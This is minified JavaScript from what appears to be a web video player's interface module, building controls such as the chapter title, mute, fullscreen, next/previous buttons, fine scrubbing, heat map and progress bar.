Xh3=function(x){g.Q.call(this,{L:"div",G:"ytp-gradient-bottom"});this.Z=g.Xn("CANVAS");this.C=this.Z.getContext("2d",{willReadFrequently:!0});this.j=NaN;this.Z.width=1;KRV(this,x.bG().getPlayerSize().height)};
KRV=function(x,T){if(x.C){T=Math.floor(T*.4);T=Math.max(T,47);var t=T+2;if(x.j!==t){x.j=t;x.Z.height=t;x.C.clearRect(0,0,1,t);var u=x.C.createLinearGradient(0,2,0,2+T),H=T-42;u.addColorStop(0,"rgba(0, 0, 0, 0)");u.addColorStop(H/T,"rgba(0, 0, 0, 0.3)");u.addColorStop(1,"rgba(0, 0, 0, 0.68)");x.C.fillStyle=u;x.C.fillRect(0,2,1,T);x.element.style.height=t+"px";try{x.element.style.backgroundImage="url("+x.Z.toDataURL()+")"}catch(I){}}}};
LN=function(x,T,t,u){g.Q.call(this,{L:"div",G:"ytp-chapter-container",W:[{L:"button",DZ:["ytp-chapter-title","ytp-button"],W:[{L:"span",X:{"aria-hidden":"true"},G:"ytp-chapter-title-prefix",z9:"\u2022"},{L:"div",G:"ytp-chapter-title-content",z9:"{{title}}",X:{"aria-label":"{{ariaLabel}}","aria-live":"polite",title:u}},{L:"div",G:"ytp-chapter-title-chevron",W:[{L:"svg",X:{height:"100%",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",X:{d:"M9.71 18.71l-1.42-1.42 5.3-5.29-5.3-5.29 1.42-1.42 6.7 6.71z",
fill:"#fff"}}]}]}]}]});this.U=x;this.K=T;this.D="";this.currentIndex=0;this.Z=void 0;this.j=!0;this.ZZ=this.Um("ytp-chapter-container");this.C=this.Um("ytp-chapter-title");this.jY=this.Um("ytp-chapter-title-content");this.updateVideoData("newdata",this.U.getVideoData());this.V(x,"videodatachange",this.updateVideoData);this.V(this.ZZ,"click",this.onClick);this.V(x,g.$m(t),this.Bk);this.V(x,"onLoopRangeChange",this.Bk);this.V(x,"innertubeCommand",this.onClickCommand);(x=g.n1(this.U.Y()))&&g.Ic(this.C,
"ytp-profile-page",!0);this.U.B("web_player_updated_entrypoint")&&g.Ic(this.element,"ytp-xs-mono-button-style",!0);g.zw(this.U.Y())||x||cF(this.U,this.jY,this)};
nN=function(x,T){LN.call(this,x,T,"chapterCueRange","View chapter");this.N=""};
xPq=function(x,T,t,u,H){var I=T.bQ/T.rows,E=Math.min(t/(T.bW/T.columns),u/I),Z=T.bW*E,e=T.bQ*E;Z=Math.floor(Z/T.columns)*T.columns;e=Math.floor(e/T.rows)*T.rows;var l=Z/T.columns,m=e/T.rows,d=-T.column*l,M=-T.row*m;H&&I<=45&&(m-=1/E);l-=2/E;x=x.style;x.width=l+"px";x.height=m+"px";H||(u=(u-m)/2,t=(t-l)/2,x.marginTop=Math.floor(u)+"px",x.marginBottom=Math.ceil(u)+"px",x.marginLeft=Math.floor(t)+"px",x.marginRight=Math.ceil(t)+"px");x.background="url("+T.url+") "+d+"px "+M+"px/"+Z+"px "+e+"px"};
aK=function(x,T){g.Q.call(this,{L:"div",G:"ytp-storyboard-framepreview",W:[{L:"div",G:"ytp-storyboard-framepreview-timestamp",z9:"{{timestamp}}"},{L:"div",G:"ytp-storyboard-framepreview-img"}]});this.api=x;this.K=this.Um("ytp-storyboard-framepreview-img");this.Z=null;this.j=NaN;this.events=new g.nj(this);this.C=new g.XK(this,100);g.y(this,this.events);g.y(this,this.C);this.V(this.api,"presentingplayerstatechange",this.D);T&&this.V(this.element,"click",function(){T.e3()})};
TMV=function(x,T){var t=!!x.Z;x.Z=T;x.Z?(t||(x.events.V(x.api,"videodatachange",function(){TMV(x,x.api.ul())}),x.events.V(x.api,"progresssync",x.Yg),x.events.V(x.api,"appresize",x.N)),x.j=NaN,o0f(x),x.C.show(200)):(t&&g.zx(x.events),x.C.hide(),x.C.stop())};
o0f=function(x){var T=x.Z,t=x.api.getCurrentTime(),u=x.api.bG().getPlayerSize(),H=LB(T,u.width);H=ZxJ(T,H,t);x.update({timestamp:g.S1(t)});H!==x.j&&(x.j=H,EYC(T,H,u.width),T=ix5(T,H,u.width),xPq(x.K,T,u.width,u.height))};
tuC=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-fullscreen-button","ytp-button"],X:{title:"{{title}}","aria-keyshortcuts":"f","data-priority":"11","data-title-no-tooltip":"{{data-title-no-tooltip}}"},z9:"{{icon}}"});this.U=x;this.Z=T;this.message=null;this.C=g.Sx(this.Z.lD(),this.element);this.j=new g.wX(this.qM,2E3,this);g.y(this,this.j);this.V(x,"fullscreentoggled",this.bM);this.V(x,"presentingplayerstatechange",this.Nj);this.V(x,"resize",this.Nj);this.listen("click",this.onClick);g.mW()&&
(T=this.U.bG(),this.V(T,BX4(),this.B2),this.V(T,gwm(document),this.UR));x.Y().hM||x.Y().J||this.disable();x.createClientVe(this.element,this,139117);this.Nj();this.bM(x.isFullscreen())};
gG=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-jump-button"],X:{title:"{{title}}","aria-keyshortcuts":"{{aria-keyshortcuts}}","data-title-no-tooltip":"{{data-title-no-tooltip}}"},W:[T>0?{L:"svg",X:{height:"100%",mlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",DZ:["ytp-circle-arrow","ytp-svg-fill"],X:{d:"m19,12c0,2.1 -0.93,4.07 -2.55,5.4c-1.62,1.34 -3.76,1.87 -5.86,1.46c-2.73,-0.53 -4.92,-2.72 -5.45,-5.45c-0.41,-2.1 .12,-4.24 1.46,-5.86c1.33,-1.62 3.3,-2.55 5.4,-2.55l1.27,0l-0.85,.85l1.41,1.41l3.35,-3.35l-3.35,-3.35l-1.41,1.41l1.01,1.03l-1.43,0c-2.7,0 -5.23,1.19 -6.95,3.28c-1.72,2.08 -2.4,4.82 -1.88,7.52c0.68,3.52 3.51,6.35 7.03,7.03c0.6,.11 1.19,.17 1.78,.17c2.09,0 4.11,-0.71 5.74,-2.05c2.09,-1.72 3.28,-4.25 3.28,-6.95l-2,0z"}},
{L:"text",DZ:["ytp-jump-button-text","ytp-svg-fill"],X:{x:"7.05",y:"15.05"}}]}:{L:"svg",X:{height:"100%",mlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",DZ:["ytp-circle-arrow","ytp-svg-fill"],X:{d:"m18.95,6.28c-1.72,-2.09 -4.25,-3.28 -6.95,-3.28l-1.43,0l1.02,-1.02l-1.41,-1.41l-3.36,3.35l3.35,3.35l1.41,-1.41l-0.85,-0.86l1.27,0c2.1,0 4.07,.93 5.4,2.55c1.34,1.62 1.87,3.76 1.46,5.86c-0.53,2.73 -2.72,4.92 -5.45,5.45c-2.11,.41 -4.24,-0.12 -5.86,-1.46c-1.62,-1.33 -2.55,-3.3 -2.55,-5.4l-2,0c0,2.7 1.19,5.23 3.28,6.95c1.62,1.34 3.65,2.05 5.74,2.05c0.59,0 1.19,-0.06 1.78,-0.17c3.52,-0.68 6.35,-3.51 7.03,-7.03c0.52,-2.7 -0.17,-5.44 -1.88,-7.52z"}},
{L:"text",DZ:["ytp-jump-button-text","ytp-svg-fill"],X:{x:"6.5",y:"15"}}]}]});var t=this;this.U=x;this.C=T;this.Z=new g.wX(function(){t.j?(t.j=!1,t.Z.start()):t.element.classList.remove("ytp-jump-spin","backwards")},250);
this.j=!1;(T=T>0)?this.U.createClientVe(this.element,this,36843):this.U.createClientVe(this.element,this,36844);var u=g.MA(T?"Seek forward $SECONDS seconds. (\u2192)":"Seek backwards $SECONDS seconds. (\u2190)",{SECONDS:Math.abs(this.C).toString()});this.update({title:u,"data-title-no-tooltip":u,"aria-keyshortcuts":T?"\u2192":"\u2190"});this.K=this.element.querySelector(".ytp-jump-button-text");this.K.textContent=Math.abs(this.C).toString();this.listen("click",this.onClick,this);cF(x,this.element,
this)};
sWi=function(x,T){T?x.element.classList.add("ytp-jump-button-enabled"):x.element.classList.remove("ytp-jump-button-enabled");x.U.logVisibility(x.element,T);x.U.Kd()};
B7=function(x,T){LN.call(this,x,T,"timedMarkerCueRange","View key moments");this.V(x,g.Hv("timedMarkerCueRange"),this.Bk);this.V(x,"updatemarkervisibility",this.updateVideoData)};
uxV=function(x){var T,t=(T=x.U.getVideoData())==null?void 0:T.Lz;if(t)for(x=x.K.nf,t=g.S(t),T=t.next();!T.done;T=t.next())if(T=x[T.value]){var u=void 0,H=void 0,I=void 0;if(((u=T.onTap)==null?void 0:(H=u.innertubeCommand)==null?void 0:(I=H.changeEngagementPanelVisibilityAction)==null?void 0:I.targetId)!=="engagement-panel-macro-markers-problem-walkthroughs")return T}};
W7=function(x){var T=x.B("web_enable_pip_on_miniplayer");g.Q.call(this,{L:"button",DZ:["ytp-miniplayer-button","ytp-button"],X:{title:"{{title}}","aria-keyshortcuts":"i","data-priority":"6","data-title-no-tooltip":"{{data-title-no-tooltip}}","data-tooltip-target-id":"ytp-miniplayer-button"},W:[T?{L:"svg",X:{fill:"#fff",height:"100%",version:"1.1",viewBox:"0 -960 960 960",width:"100%"},W:[{L:"g",X:{transform:"translate(96, -96) scale(0.8)"},W:[{L:"path",OF:!0,X:{d:"M96-480v-72h165L71-743l50-50 191 190v-165h72v288H96Zm72 288q-29.7 0-50.85-21.15Q96-234.3 96-264v-144h72v144h336v72H168Zm624-264v-240H456v-72h336q29.7 0 50.85 21.15Q864-725.7 864-696v240h-72ZM576-192v-192h288v192H576Z"}}]}]}:
zyC()]});this.U=x;this.visible=!1;this.listen("click",this.onClick);this.V(x,"fullscreentoggled",this.Nj);this.updateValue("title",g.Yh(x,"Miniplayer","i"));this.update({"data-title-no-tooltip":"Miniplayer"});cF(x,this.element,this);x.createClientVe(this.element,this,62946);this.Nj()};
Dg=function(x,T,t){t=t===void 0?!1:t;g.Q.call(this,{L:"button",DZ:["ytp-mute-button","ytp-button"],X:x.Y().nf?{title:"{{title}}","aria-keyshortcuts":"m","data-title-no-tooltip":"{{data-title-no-tooltip}}","data-priority":"{{dataPriority}}"}:{"aria-disabled":"true","aria-haspopup":"true"},z9:"{{icon}}"});this.U=x;this.Om=t;this.C=null;this.K=this.S=this.D=this.jY=NaN;this.uG=this.N=null;this.j=[];this.Z=[];this.visible=!1;this.J=null;x.B("delhi_modern_web_player")&&this.update({"data-priority":3});
t=this.U.Y();this.updateValue("icon",zQ());this.tooltip=T.lD();this.C=new g.i9({L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"defs",W:[{L:"clipPath",X:{id:"ytp-svg-volume-animation-mask"},W:[{L:"path",X:{d:"m 14.35,-0.14 -5.86,5.86 20.73,20.78 5.86,-5.91 z"}},{L:"path",X:{d:"M 7.07,6.87 -1.11,15.33 19.61,36.11 27.80,27.60 z"}},{L:"path",G:"ytp-svg-volume-animation-mover",X:{d:"M 9.09,5.20 6.47,7.88 26.82,28.77 29.66,25.99 z"}}]},{L:"clipPath",X:{id:"ytp-svg-volume-animation-slash-mask"},
W:[{L:"path",G:"ytp-svg-volume-animation-mover",X:{d:"m -11.45,-15.55 -4.44,4.51 20.45,20.94 4.55,-4.66 z"}}]}]},{L:"path",OF:!0,DZ:["ytp-svg-fill","ytp-svg-volume-animation-speaker"],X:{"clip-path":"url(#ytp-svg-volume-animation-mask)",d:"M8,21 L12,21 L17,26 L17,10 L12,15 L8,15 L8,21 Z M19,14 L19,22 C20.48,21.32 21.5,19.77 21.5,18 C21.5,16.26 20.48,14.74 19,14 Z",fill:"#fff"}},{L:"path",OF:!0,DZ:["ytp-svg-fill","ytp-svg-volume-animation-hider"],X:{"clip-path":"url(#ytp-svg-volume-animation-slash-mask)",
d:"M 9.25,9 7.98,10.27 24.71,27 l 1.27,-1.27 Z",fill:"#fff"}}]});g.y(this,this.C);this.N=this.C.Um("ytp-svg-volume-animation-speaker");this.uG=this.N.getAttribute("d");this.j=g.y9("ytp-svg-volume-animation-mover",this.C.element);this.Z=g.y9("ytp-svg-volume-animation-hider",this.C.element);this.Hv=new Zs;g.y(this,this.Hv);this.ZZ=new Zs;g.y(this,this.ZZ);this.listen("click",this.Jqv);this.V(x,"appresize",this.vF);this.V(x,"onVolumeChange",this.onVolumeChange);var u=null;t.nf?this.addOnDisposeCallback(g.Sx(T.lD(),
this.element)):(T="Your browser doesn't support changing the volume. $BEGIN_LINKLearn More$END_LINK".split(/\$(BEGIN|END)_LINK/),u=new g.BF(x,{L:"span",DZ:["ytp-popup","ytp-generic-popup"],X:{tabindex:"0"},W:[T[0],{L:"a",X:{href:"https://support.google.com/youtube/?p=noaudio",target:t.S},z9:T[2]},T[4]]},100,!0),g.y(this,u),u.hide(),u.subscribe("show",function(H){x.Pb(u,H)}),g.V$(x,u.element,4));
this.message=u;x.createClientVe(this.element,this,28662);this.vF(x.bG().getPlayerSize());this.setVolume(x.getVolume(),x.isMuted())};
ip5=function(x,T){x.jY=T;var t=x.uG;T&&(t+=kaf($P5,Hpf,T));x.N.setAttribute("d",t)};
IBf=function(x,T){x.S=T;for(var t=20*T,u=0;u<x.j.length;u++)x.j[u].setAttribute("transform","translate("+t+", "+t+")");var H;T===1?H=zQ():H=x.C;for(t=0;t<x.Z.length;t++){u=x.Z[t];var I=void 0;if((I=u)==null?0:I.style)u.style.display=T===0?"none":""}H!==x.J&&(x.updateValue("icon",H),x.J=H)};
g.y8=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-play-button","ytp-button"],X:{title:"{{title}}","aria-keyshortcuts":"k","data-title-no-tooltip":"{{data-title-no-tooltip}}"},z9:"{{icon}}"});this.U=x;this.C=null;this.transition=new Zs;this.tooltip=T.lD();g.y(this,this.transition);x.createClientVe(this.element,this,36842);x.B("embeds_use_parent_visibility_in_ve_logging")?x.logVisibility(this.element,this.T):x.logVisibility(this.element,!0);this.V(x,"fullscreentoggled",this.onVideoDataChange);this.V(x,
"presentingplayerstatechange",this.onStateChange);this.V(x,"videodatachange",this.onVideoDataChange);this.vk(x.getPlayerStateObject());this.listen("click",this.Q3,this);this.addOnDisposeCallback(g.Sx(T.lD(),this.element))};
E0D=function(x){switch(x){case 1:return YB();case 2:return bM5();case 3:return g.UV();case 4:return FPX();default:return null}};
g.Nm=function(x,T,t){g.Q.call(this,{L:"a",DZ:[t?"ytp-next-button":"ytp-prev-button","ytp-button"],X:{role:"button",title:"{{title}}",href:"{{url}}","data-preview":"{{preview}}","data-tooltip-text":"{{text}}","data-duration":"{{duration}}","aria-disabled":"{{disabled}}","data-next":"{{next}}","data-prev":"{{prev}}","data-title-no-tooltip":"{{data-title-no-tooltip}}","aria-keyshortcuts":"{{aria-keyshortcuts}}"},W:[t?Pa():kGD()]});var u=this;this.U=x;this.C=t;this.playlist=this.videoData=null;this.N=
!1;this.K=this.D=this.Z=null;this.j=!1;this.tooltip=T.lD();t?x.createClientVe(this.element,this,6193):x.createClientVe(this.element,this,6194);this.V(x,"fullscreentoggled",this.onVideoDataChange);this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"onPlaylistUpdate",this.onVideoDataChange);this.V(x,"onLoopRangeChange",this.onVideoDataChange);this.C||this.V(x,"appresize",this.WX);this.V(x,"mdxpreviousnextchange",function(){q_q(u);u.WX()});
this.onVideoDataChange()};
Zp4=function(x){x.playlist&&x.playlist.unsubscribe("shuffle",x.onVideoDataChange,x)};
jW3=function(x){return!!x.playlist&&!x.C&&!!x.videoData&&!x.videoData.isLivePlayback&&x.U.getCurrentTime()>=3&&x.U.getPresentingPlayerType()!==2};
e35=function(x){var T=zt(x.U.xm());return T?x.C?T.Ga():T.qp():!1};
q_q=function(x){var T={duration:null,preview:null,text:null,title:null,url:null,"data-title-no-tooltip":null,"aria-keyshortcuts":null},t=x.playlist!=null&&x.playlist.Ga();t=g.kh(x.U)&&(!x.C||t);var u=x.C&&g.Gt(x.U),H=e35(x),I=x.C&&x.U.getPresentingPlayerType()===5,E=g.Yh(x.U,"Next","SHIFT+n"),Z=g.Yh(x.U,"Previous","SHIFT+p");if(I)T.title="Start video";else if(x.j)T.title="Replay";else if(t){var e=null;x.playlist&&(e=g.YM(x.playlist,x.C?I8J(x.playlist):Epv(x.playlist)));if(e){if(e.videoId){var l=x.playlist.listId;
T.url=x.U.Y().getVideoUrl(e.videoId,l?l.toString():void 0)}T.text=e.title;T.duration=e.lengthText?e.lengthText:e.lengthSeconds?g.S1(e.lengthSeconds):null;T.preview=e.ys("mqdefault.jpg")}x.C?(T.title=E,T["data-title-no-tooltip"]="Next",T["aria-keyshortcuts"]="SHIFT+n"):(T.title=Z,T["data-title-no-tooltip"]="Previous",T["aria-keyshortcuts"]="SHIFT+p")}else if(u){if(Z=(e=x.videoData)==null?void 0:g.X4(e))T.url=Z.FA(),T.text=Z.title,T.duration=Z.lengthText?Z.lengthText:Z.lengthSeconds?g.S1(Z.lengthSeconds):
null,T.preview=Z.ys("mqdefault.jpg");T.title=E;T["data-title-no-tooltip"]="Next";T["aria-keyshortcuts"]="SHIFT+n"}T.disabled=!u&&!t&&!H&&!I;x.update(T);x.N=!!T.url;u||t||x.j||H||I?x.Z||(x.Z=g.Sx(x.tooltip,x.element),x.D=x.listen("click",x.onClick,x)):x.Z&&(x.Z(),x.Z=null,x.f2(x.D),x.D=null);x.tooltip.Kd();g.Ic(x.element,"ytp-playlist-ui",x.C&&t)};
mPq=function(x,T){g.Q.call(this,{L:"div",G:"ytp-fine-scrubbing",W:[{L:"div",G:"ytp-fine-scrubbing-draggable",W:[{L:"div",G:"ytp-fine-scrubbing-thumbnails",X:{tabindex:"0",role:"slider",type:"range","aria-label":"Click or scroll the panel for the precise seeking.","aria-valuemin":"{{ariamin}}","aria-valuemax":"{{ariamax}}","aria-valuenow":"{{arianow}}","aria-valuetext":"{{arianowtext}}"}}]},{L:"div",X:{"aria-hidden":"true"},G:"ytp-fine-scrubbing-cursor"},{L:"div",G:"ytp-fine-scrubbing-seek-time",X:{"aria-hidden":"true"},
z9:"{{seekTime}}"},{L:"div",G:"ytp-fine-scrubbing-play",W:[YB()],X:{title:"Play from this position",role:"button"}},{L:"div",G:"ytp-fine-scrubbing-dismiss",W:[g.A3()],X:{title:"Exit precise seeking",role:"button"}}]});var t=this;this.api=x;this.D=this.Um("ytp-fine-scrubbing-thumbnails");this.dismissButton=this.Um("ytp-fine-scrubbing-dismiss");this.uG=this.Um("ytp-fine-scrubbing-draggable");this.playButton=this.Um("ytp-fine-scrubbing-play");this.thumbnails=[];this.Z=[];this.QU=this.C=0;this.hQ=void 0;
this.ZZ=NaN;this.nf=this.S=this.j=this.J=0;this.K=[];this.interval=this.frameCount=0;this.N=160;this.scale=1;this.G9=0;this.isEnabled=this.Om=!1;lB5(this,this.api.getCurrentTime());this.addOnDisposeCallback(g.Sx(T,this.dismissButton));this.addOnDisposeCallback(g.Sx(T,this.playButton));this.Hv=new g.xM(this.uG,!0);this.Hv.subscribe("dragstart",this.vX,this);this.Hv.subscribe("dragmove",this.Xu,this);this.Hv.subscribe("dragend",this.Ma,this);this.V(x,"SEEK_COMPLETE",this.bF);x.B("web_fix_fine_scrubbing_false_play")&&
this.V(x,"rootnodemousedown",function(u){t.jY=u});
this.D.addEventListener("keydown",function(){});
g.y(this,this.Hv);this.api.createClientVe(this.element,this,153154);this.api.createClientVe(this.D,this,152789);this.api.createClientVe(this.dismissButton,this,153156);this.api.createClientVe(this.playButton,this,153155)};
lB5=function(x,T){var t=g.S1(T),u=g.MA("Seek to $PROGRESS",{PROGRESS:g.S1(T,!0)});x.update({ariamin:0,ariamax:Math.floor(x.api.getDuration()),arianow:Math.floor(T),arianowtext:u,seekTime:t})};
dP3=function(x){x.ZZ=NaN;x.S=0;x.J=x.j};
R3i=function(x){var T=x.api.ul();if(T){var t=90*x.scale,u=LB(T,160*x.scale);if(T=T.levels[u]){x.N=T.width;if(!x.K.length){u=[];for(var H=nB(T,T.Nd()),I=T.columns*T.rows,E=T.frameCount,Z=0;Z<=H;Z++)for(var e=E<I?Math.ceil(E/T.columns):T.rows,l=0;l<T.rows;l++){var m=E<T.columns?E:T.columns,d={url:T.sY(Z),column:0,columns:m,row:l,rows:e,bW:T.width*m,bQ:T.height*e};u.push(d);E-=m;if(E<=1)break}x.K=u;x.frameCount=T.bJ();x.interval=T.C/1E3||x.api.getDuration()/x.frameCount}for(;x.thumbnails.length>x.K.length;)u=
void 0,(u=x.thumbnails.pop())==null||u.dispose();for(;x.thumbnails.length<x.K.length;)u=new MuV,x.thumbnails.push(u),u.yU(x.D),g.y(x,u);for(u=0;u<x.K.length;u++)H=x.thumbnails[u].element,I=x.K[u],E=x.N*x.scale,Z=I.bQ/I.rows,e=t/Z,H.style.background="url("+I.url+") 0 "+-I.row*I.bQ/I.rows*e+"px/"+E*T.columns+"px "+Z*I.rows*e+"px",H.style.width=E*I.columns+"px",H.style.height=t+"px";JD(x,x.api.getCurrentTime());for(t=x.api.getVideoData().WD;x.Z.length>t.length;)u=void 0,(u=x.Z.pop())==null||u.dispose();
for(;x.Z.length<t.length;)u=new Au3,x.Z.push(new Au3),g.y(x,u);for(u=0;u<t.length;u++)H=t[u],x.Z[u].update({chapterTitle:H.title}),H=Math.round(H.startTime/T.C),I=Math.floor(H/T.rows),g.Zt(x.Z[u].element,"transform","translateX("+H%T.rows*x.N*x.scale+"px)"),I<x.thumbnails.length&&x.thumbnails[I]&&x.Z[u].yU(x.thumbnails[I].element);x.Om=!0}}};
JD=function(x,T){x.jY&&(x.jY.Se=!0);x.update({seekTime:g.S1(T)});var t=x.N*x.scale;T=T<x.interval/2?-T*t/x.interval*2+x.C/2:-T*t/x.interval-t/2+x.C/2;T=g.iu(T,Pli(x),x.C/2);x.J=T;x.j=x.J;g.Zt(x.uG,"transform","translateX("+(x.J-x.C/2)+"px)");g.Zt(x.uG,"padding","0px "+x.C/2+"px");g.Zt(x.D,"position","relative")};
S_X=function(x,T){var t=x.N*x.scale;T-=x.C/2;return T>-t?-T/t*x.interval*.5:-(T+t/2)/t*x.interval};
Pli=function(x){return-((x.D.offsetWidth||(x.frameCount-1)*x.N*x.scale)-x.C/2)};
MuV=function(){g.Q.call(this,{L:"div",G:"ytp-fine-scrubbing-thumbnail"})};
Au3=function(){g.Q.call(this,{L:"div",G:"ytp-fine-scrubbing-chapter-title",W:[{L:"div",G:"ytp-fine-scrubbing-chapter-title-content",z9:"{{chapterTitle}}"}]})};
cu3=function(x){g.Q.call(this,{L:"div",G:"ytp-heat-map-chapter",W:[{L:"svg",G:"ytp-heat-map-svg",X:{height:"100%",preserveAspectRatio:"none",version:"1.1",viewBox:"0 0 1000 100",width:"100%"},W:[{L:"defs",W:[{L:"clipPath",X:{id:"{{id}}"},W:[{L:"path",G:"ytp-heat-map-path",X:{d:"",fill:"white"}}]},{L:"linearGradient",X:{gradientUnits:"userSpaceOnUse",id:"ytp-heat-map-gradient-def",x1:"0%",x2:"0%",y1:"0%",y2:"100%"},W:[{L:"stop",X:{offset:"0%","stop-color":"white","stop-opacity":"1"}},{L:"stop",X:{offset:"100%",
"stop-color":"white","stop-opacity":"0"}}]}]},{L:"rect",G:"ytp-heat-map-graph",X:{"clip-path":"url(#hm_1)",fill:"white","fill-opacity":"0.4",height:"100%",width:"100%",x:"0",y:"0"}},{L:"rect",G:"ytp-heat-map-hover",X:{"clip-path":"url(#hm_1)",fill:"white","fill-opacity":"0.7",height:"100%",width:"100%",x:"0",y:"0"}},{L:"rect",G:"ytp-heat-map-play",X:{"clip-path":"url(#hm_1)",height:"100%",x:"0",y:"0"}},{L:"path",G:"ytp-modern-heat-map",X:{d:"",fill:"url(#ytp-heat-map-gradient-def)",height:"100%",
stroke:"white","stroke-opacity":"0.7","stroke-width":"2px",style:"display: none;",width:"100%",x:"0",y:"0"}}]}]});this.api=x;this.J=this.Um("ytp-heat-map-svg");this.D=this.Um("ytp-heat-map-path");this.K=this.Um("ytp-heat-map-graph");this.N=this.Um("ytp-heat-map-play");this.C=this.Um("ytp-heat-map-hover");this.j=this.Um("ytp-modern-heat-map");this.eD=!1;this.Z=60;x=""+g.f4(this);this.update({id:x});x="url(#"+x+")";this.K.setAttribute("clip-path",x);this.N.setAttribute("clip-path",x);this.C.setAttribute("clip-path",
x)};
Y_5=function(x,T){T>0&&(x.Z=T,x.J.style.height=x.Z+"px")};
CN=function(){g.Q.call(this,{L:"div",G:"ytp-chapter-hover-container",W:[{L:"div",G:"ytp-progress-bar-padding"},{L:"div",G:"ytp-progress-list",W:[{L:"div",DZ:["ytp-play-progress","ytp-swatch-background-color"]},{L:"div",G:"ytp-progress-linear-live-buffer"},{L:"div",G:"ytp-load-progress"},{L:"div",G:"ytp-hover-progress"},{L:"div",G:"ytp-ad-progress-list"}]}]});this.startTime=NaN;this.title="";this.index=NaN;this.width=0;this.Z=this.Um("ytp-progress-list");this.D=this.Um("ytp-progress-linear-live-buffer");
this.K=this.Um("ytp-ad-progress-list");this.N=this.Um("ytp-load-progress");this.J=this.Um("ytp-play-progress");this.j=this.Um("ytp-hover-progress");this.C=this.Um("ytp-chapter-hover-container")};
Q8=function(x,T){g.Zt(x.C,"width",T)};
UPX=function(x,T){g.Zt(x.C,"margin-right",T+"px")};
bpv=function(){this.Z=this.position=this.j=this.C=this.K=this.width=NaN};
ruf=function(){g.Q.call(this,{L:"div",G:"ytp-timed-marker"});this.C=this.timeRangeStartMillis=NaN;this.title="";this.onActiveCommand=void 0};
g.Ol=function(x,T){g.qS.call(this,{L:"div",G:"ytp-progress-bar-container",X:{"aria-disabled":"true"},W:[{L:"div",DZ:["ytp-heat-map-container"],W:[{L:"div",G:"ytp-heat-map-edu"}]},{L:"div",DZ:["ytp-progress-bar"],X:{tabindex:"0",role:"slider","aria-label":"Seek slider","aria-valuemin":"{{ariamin}}","aria-valuemax":"{{ariamax}}","aria-valuenow":"{{arianow}}","aria-valuetext":"{{arianowtext}}"},W:[{L:"div",G:"ytp-chapters-container"},{L:"div",G:"ytp-timed-markers-container"},{L:"div",G:"ytp-clip-start-exclude"},
{L:"div",G:"ytp-clip-end-exclude"},{L:"div",G:"ytp-scrubber-container",W:[{L:"div",DZ:["ytp-scrubber-button","ytp-swatch-background-color"],W:[{L:"div",G:"ytp-scrubber-pull-indicator"},{L:"img",DZ:["ytp-decorated-scrubber-button"]}]}]}]},{L:"div",DZ:["ytp-fine-scrubbing-container"],W:[{L:"div",G:"ytp-fine-scrubbing-edu"}]},{L:"div",G:"ytp-bound-time-left",z9:"{{boundTimeLeft}}"},{L:"div",G:"ytp-bound-time-right",z9:"{{boundTimeRight}}"},{L:"div",G:"ytp-clip-start",X:{title:"{{clipstarttitle}}"},z9:"{{clipstarticon}}"},
{L:"div",G:"ytp-clip-end",X:{title:"{{clipendtitle}}"},z9:"{{clipendicon}}"}]});this.api=x;this.Nz=!1;this.tR=this.Ap=this.AQ=this.D=this.Xt=0;this.dN=null;this.VI=!1;this.QU={};this.Ym={};this.clipEnd=Infinity;this.hM=this.Um("ytp-clip-end");this.Zk=new g.xM(this.hM,!0);this.kP=this.Um("ytp-clip-end-exclude");this.L2=this.Um("ytp-clip-start-exclude");this.clipStart=0;this.tM=this.Um("ytp-clip-start");this.rp=new g.xM(this.tM,!0);this.S=this.Ee=0;this.progressBar=this.Um("ytp-progress-bar");this.Lz=
{};this.nf={};this.mu=this.Um("ytp-chapters-container");this.WU=this.Um("ytp-timed-markers-container");this.C=[];this.N=[];this.qz={};this.mY=null;this.uG=-1;this.Cz=this.Hv=0;this.C4=this.J=null;this.hR=this.Um("ytp-scrubber-button");this.FD=this.Um("ytp-decorated-scrubber-button");this.zc=this.Um("ytp-scrubber-container");this.SY=new g.jo;this.pF=new bpv;this.j=new h9(0,0);this.TI=null;this.ZZ=this.F3=!1;this.aH=null;this.jY=this.Um("ytp-heat-map-container");this.RW=this.Um("ytp-heat-map-edu");
this.K=[];this.heatMarkersDecorations=[];this.tQ=this.Um("ytp-fine-scrubbing-container");this.Jq=this.Um("ytp-fine-scrubbing-edu");this.Z=void 0;this.Om=this.L4=this.hQ=!1;this.tooltip=T.lD();this.addOnDisposeCallback(g.Sx(this.tooltip,this.hM));g.y(this,this.Zk);this.Zk.subscribe("hoverstart",this.oO,this);this.Zk.subscribe("hoverend",this.d1,this);this.V(this.hM,"click",this.XS);this.addOnDisposeCallback(g.Sx(this.tooltip,this.tM));g.y(this,this.rp);this.rp.subscribe("hoverstart",this.oO,this);
this.rp.subscribe("hoverend",this.d1,this);this.V(this.tM,"click",this.XS);z34(this);this.V(x,"resize",this.C2);this.V(x,"presentingplayerstatechange",this.ocY);this.V(x,"videodatachange",this.NC);this.V(x,"videoplayerreset",this.djy);this.V(x,"cuerangesadded",this.XMQ);this.V(x,"cuerangesremoved",this.LT9);this.V(x,"onLoopRangeChange",this.ST);this.V(x,"innertubeCommand",this.onClickCommand);this.V(x,g.$m("timedMarkerCueRange"),this.KYG);this.V(x,"updatemarkervisibility",this.Te);this.V(x,"serverstitchedvideochange",
this.vpU);this.updateVideoData(x.getVideoData(),!0);this.ST(x.getLoopRange());pN(this)&&!this.Z&&(this.Z=new mPq(this.api,this.tooltip),x=g.R_(this.element).x||0,this.Z.C2(x,this.D),this.Z.yU(this.tQ),g.y(this,this.Z),this.V(this.Z.dismissButton,"click",this.e3),this.V(this.Z.playButton,"click",this.qL),this.V(this.Z.element,"dblclick",this.qL));this.api.createClientVe(this.jY,this,139609,!0);this.api.createClientVe(this.RW,this,140127,!0);this.api.createClientVe(this.Jq,this,151179,!0);this.api.createClientVe(this.progressBar,
this,38856,!0)};
z34=function(x){if(x.C.length===0){var T=new CN;x.C.push(T);g.y(x,T);T.yU(x.mu,0)}for(;x.C.length>1;)x.C.pop().dispose();Q8(x.C[0],"100%");x.C[0].startTime=0;x.C[0].title=""};
